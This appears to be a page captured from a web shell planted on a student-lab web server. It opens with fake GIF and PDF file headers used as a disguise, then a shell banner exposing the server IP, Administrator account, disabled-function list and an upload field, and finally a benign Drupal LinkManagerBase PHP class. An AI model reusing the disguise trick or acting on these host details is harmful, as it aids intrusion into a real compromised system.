GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/hal/src/LinkManager/ |
Upload File : |
<?php namespace Drupal\hal\LinkManager; /** * Defines an abstract base-class for HAL link manager objects. */ abstract class LinkManagerBase { /** * Link domain used for type links URIs. * * @var string */ protected $linkDomain; /** * Config factory service. * * @var \Drupal\Core\Config\ConfigFactoryInterface */ protected $configFactory; /** * The request stack. * * @var \Symfony\Component\HttpFoundation\RequestStack */ protected $requestStack; /** * {@inheritdoc} */ public function setLinkDomain($domain) { $this->linkDomain = rtrim($domain, '/'); return $this; } /** * Gets the link domain. * * @return string * The link domain. */ protected function getLinkDomain() { if (empty($this->linkDomain)) { if ($domain = $this->configFactory->get('hal.settings')->get('link_domain')) { $this->linkDomain = rtrim($domain, '/'); } else { $request = $this->requestStack->getCurrentRequest(); $this->linkDomain = $request->getSchemeAndHttpHost() . $request->getBasePath(); } } return $this->linkDomain; } }